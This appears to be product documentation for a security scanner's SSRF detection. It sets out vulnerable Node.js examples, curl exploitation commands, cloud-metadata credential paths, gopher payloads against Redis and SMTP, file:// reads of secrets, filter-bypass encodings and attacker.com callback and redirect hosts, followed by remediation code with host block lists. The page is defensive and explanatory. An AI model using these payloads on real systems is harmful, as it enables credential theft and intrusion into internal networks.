Skip to main content
Esprit CLI detects Server-Side Request Forgery (SSRF) vulnerabilities that enable attackers to reach internal networks, cloud metadata endpoints, and services the attacker cannot directly access. SSRF can lead to credential disclosure, lateral movement, and sometimes RCE.
Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes.

Attack Surface Coverage

Vulnerable Features

  • URL fetchers - Proxies, link previewers, webhook testers
  • Import/Export - Data importers, report generators
  • Media processing - Image/PDF renderers, thumbnail generators
  • Integrations - Webhook validators, OAuth callbacks
  • Document parsers - XML external entities, SVG processors

Protocol Support

Esprit tests multiple protocols:
  • HTTP/HTTPS
  • file:// (local file access)
  • gopher:// (raw protocol smuggling)
  • dict:// (dictionary protocol)
  • ftp://, ftps://
  • Cloud-specific (s3://, gs://)

High-Value Targets

Esprit prioritizes these attack targets:

Cloud Metadata Endpoints

AWS IMDSv1

# Extract IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

# User data (often contains secrets)
http://169.254.169.254/latest/user-data

# Instance metadata
http://169.254.169.254/latest/meta-data/

AWS IMDSv2 (Token-Based)

# Requires PUT request for token
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

# Then use token in subsequent requests
GET /latest/meta-data/iam/security-credentials/role-name
X-aws-ec2-metadata-token: [token]

GCP Metadata

# Requires Metadata-Flavor header
GET /computeMetadata/v1/instance/service-accounts/default/token
Host: metadata.google.internal
Metadata-Flavor: Google

Azure Metadata

# Requires Metadata header
GET /metadata/instance?api-version=2021-02-01
Host: 169.254.169.254
Metadata: true

# MSI OAuth token
GET /metadata/identity/oauth2/token
Host: 169.254.169.254
Metadata: true
Esprit tests whether your application can set custom headers and HTTP methods, which determines IMDSv2/GCP/Azure reachability.

Kubernetes

# Kubelet API
http://localhost:10250/pods
http://localhost:10255/pods  # Read-only (deprecated)

# API server via service DNS
https://kubernetes.default.svc/api/v1/namespaces/default/pods

# Service account token
file:///var/run/secrets/kubernetes.io/serviceaccount/token

Internal Services

# Docker daemon (if exposed internally)
http://localhost:2375/v1.24/containers/json

# Redis via gopher protocol
gopher://localhost:6379/_CONFIG%20SET%20dir%20/var/www/html

# Elasticsearch
http://localhost:9200/_cat/indices

# Message brokers
http://localhost:15672/api/overview  # RabbitMQ

Detection Examples

// Vulnerable code: src/services/preview.js:23
const axios = require('axios');

app.post('/api/preview', authenticate, async (req, res) => {
  const { url } = req.body;
  
  // VULNERABLE: No URL validation
  const response = await axios.get(url);
  
  const preview = {
    title: extractTitle(response.data),
    description: extractDescription(response.data)
  };
  
  res.json(preview);
});
Exploitation:
# Fetch AWS metadata
curl -X POST https://api.example.com/api/preview \
  -H "Authorization: Bearer token" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Response contains IAM role credentials
Impact: AWS credentials leaked, full cloud account compromise

Scenario 2: Webhook Validator SSRF

// Vulnerable code: src/api/webhooks.js:45
app.post('/api/webhooks/validate', authenticate, async (req, res) => {
  const { webhookUrl } = req.body;
  
  try {
    // VULNERABLE: Sends request to user-controlled URL
    const response = await fetch(webhookUrl, {
      method: 'POST',
      body: JSON.stringify({ test: true }),
      headers: { 'Content-Type': 'application/json' }
    });
    
    res.json({ 
      valid: response.ok,
      status: response.status 
    });
  } catch (err) {
    res.json({ valid: false, error: err.message });
  }
});
Exploitation:
# Scan internal network
for i in {1..254}; do
  curl -X POST https://api.example.com/api/webhooks/validate \
    -d "{\"webhookUrl\": \"http://192.168.1.$i:8080/\"}"
done

# Probe internal services
curl -X POST https://api.example.com/api/webhooks/validate \
  -d '{"webhookUrl": "http://localhost:9200/_cat/indices"}'

Scenario 3: Image Proxy SSRF

// Vulnerable code: src/services/image.js:67
app.get('/api/image/proxy', authenticate, async (req, res) => {
  const imageUrl = req.query.url;
  
  // VULNERABLE: No scheme or host validation
  const response = await fetch(imageUrl);
  const buffer = await response.buffer();
  
  res.set('Content-Type', response.headers.get('content-type'));
  res.send(buffer);
});
Exploitation:
# Read local files
curl 'https://api.example.com/api/image/proxy?url=file:///etc/passwd'

# Access Kubernetes service account token
curl 'https://api.example.com/api/image/proxy?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token'

Protocol Exploitation

Esprit tests protocol-specific attacks:

Gopher Protocol

# Redis command injection
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

# HTTP request smuggling
gopher://internal-api:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20internal-api%0d%0a%0d%0a

# SMTP injection
gopher://localhost:25/_MAIL%20FROM:[email protected]%0d%0aRCPT%20TO:[email protected]%0d%0a

File Protocol

# Linux
file:///etc/passwd
file:///proc/self/environ
file:///var/run/secrets/kubernetes.io/serviceaccount/token

# Windows
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config

Dict Protocol

# Probe Redis
dict://localhost:6379/info

# Probe Memcached
dict://localhost:11211/stats

Bypass Techniques

Esprit tests filter evasion:

IP Address Encoding

# Decimal encoding
http://2130706433/  # 127.0.0.1

# Hexadecimal
http://0x7f000001/

# Octal
http://0177.0.0.1/

# Mixed formats
http://127.1/
http://127.0.1/

IPv6 Variations

# Loopback
http://[::1]/
http://[0:0:0:0:0:0:0:1]/

# IPv4-mapped IPv6
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/

DNS Rebinding

# First resolution: allowed external IP
# Second resolution: internal IP
http://rebind.attacker.com/

# Use short TTL DNS records to trigger re-resolution

URL Parser Differentials

# Userinfo confusion
http://[email protected]
http://external.com#@internal
http://external.com%23@internal

# Trailing dots
http://internal.domain.com./

# URL-encoded host
http://%6c%6f%63%61%6c%68%6f%73%74/  # "localhost"

Redirect Abuse

// Attacker-controlled redirect endpoint
app.get('/redirect', (req, res) => {
  // Initial check passes allowlist
  // But redirects to internal target
  res.redirect('http://169.254.169.254/latest/meta-data/');
});
Exploitation:
# If application follows redirects without re-validation
curl 'https://api.example.com/api/preview?url=https://attacker.com/redirect'

Blind SSRF Detection

Esprit uses out-of-band techniques:

DNS Callbacks

# Unique subdomain per test
http://ssrf-test-uuid.attacker.com/

# Monitor DNS logs for resolution attempts

HTTP Callbacks

# Unique endpoint per test
http://attacker.com/ssrf-callback/uuid

# Monitor access logs

Timing Analysis

// Detect open vs closed ports via timing
const start = Date.now();
try {
  await fetch('http://internal-host:22/', { timeout: 5000 });
} catch (err) {
  const duration = Date.now() - start;
  // Open port: immediate connection refused (~5ms)
  // Closed port: timeout (5000ms)
  // Filtered port: timeout (5000ms)
}

Remediation

Esprit recommends:

Input Validation

// SAFE: Strict URL validation
const ALLOWED_PROTOCOLS = ['http:', 'https:'];
const BLOCKED_HOSTS = [
  '127.0.0.1',
  'localhost',
  '0.0.0.0',
  '169.254.169.254',  // AWS metadata
  'metadata.google.internal',  // GCP metadata
];

function isValidUrl(urlString) {
  try {
    const url = new URL(urlString);
    
    // Check protocol
    if (!ALLOWED_PROTOCOLS.includes(url.protocol)) {
      return false;
    }
    
    // Check for blocked hosts
    if (BLOCKED_HOSTS.includes(url.hostname)) {
      return false;
    }
    
    // Check for private IP ranges
    if (isPrivateIP(url.hostname)) {
      return false;
    }
    
    // Check for IPv6 loopback
    if (url.hostname === '[::1]' || url.hostname.includes('::ffff:')) {
      return false;
    }
    
    return true;
  } catch {
    return false;
  }
}

function isPrivateIP(hostname) {
  const ip = hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/);
  if (!ip) return false;
  
  const [, a, b, c, d] = ip.map(Number);
  
  return (
    a === 10 ||                           // 10.0.0.0/8
    (a === 172 && b >= 16 && b <= 31) ||  // 172.16.0.0/12
    (a === 192 && b === 168) ||           // 192.168.0.0/16
    (a === 169 && b === 254)              // 169.254.0.0/16 (link-local)
  );
}

DNS Resolution Validation

// SAFE: Validate after DNS resolution
const dns = require('dns').promises;

async function isSafeUrl(urlString) {
  const url = new URL(urlString);
  
  // Resolve hostname
  try {
    const addresses = await dns.resolve4(url.hostname);
    
    // Check each resolved IP
    for (const ip of addresses) {
      if (isPrivateIP(ip) || ip === '169.254.169.254') {
        return false;
      }
    }
    
    return true;
  } catch {
    return false;
  }
}

Network-Level Controls

// SAFE: Use egress proxy/firewall
const HttpsProxyAgent = require('https-proxy-agent');

const proxyAgent = new HttpsProxyAgent(process.env.EGRESS_PROXY);

async function safeFetch(url) {
  // All requests go through proxy that blocks:
  // - Private IP ranges
  // - Cloud metadata endpoints
  // - Internal service ports
  
  return fetch(url, {
    agent: proxyAgent,
    timeout: 5000
  });
}

Disable Redirects

// SAFE: Disable or limit redirects
const response = await fetch(url, {
  redirect: 'manual',  // Don't follow redirects
  timeout: 5000
});

if (response.status >= 300 && response.status < 400) {
  throw new Error('Redirects not allowed');
}

IMDSv2 on AWS

# Enforce IMDSv2 (requires PUT with headers)
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1
IMDSv2 requires PUT requests with custom headers, making SSRF exploitation significantly harder.

Detection Output

Esprit provides detailed SSRF findings:
[CRITICAL] SSRF in link preview endpoint
Location: src/services/preview.js:23
Target: AWS IMDS

Vulnerable Code:
  const response = await axios.get(url);

Proof:
  Request:
    POST /api/preview
    {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
  
  Response:
    {"title": "ec2-role-name"}
  
  Follow-up:
    POST /api/preview
    {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}
  
  Credentials leaked:
    - AccessKeyId: ASIA...
    - SecretAccessKey: ...
    - Token: ...

Impact:
  - Full AWS account compromise
  - Access to S3, RDS, Lambda, etc.
  - Potential lateral movement to other services
  - Data exfiltration from cloud resources

Remediation:
  1. Validate URL scheme (https only)
  2. Block private IP ranges and metadata endpoints
  3. Use egress proxy with allowlist
  4. Enable IMDSv2 on EC2 instances

Next Steps

Business Logic

Detect workflow and invariant violations

Authentication

Find JWT and session vulnerabilities

Build docs developers (and LLMs) love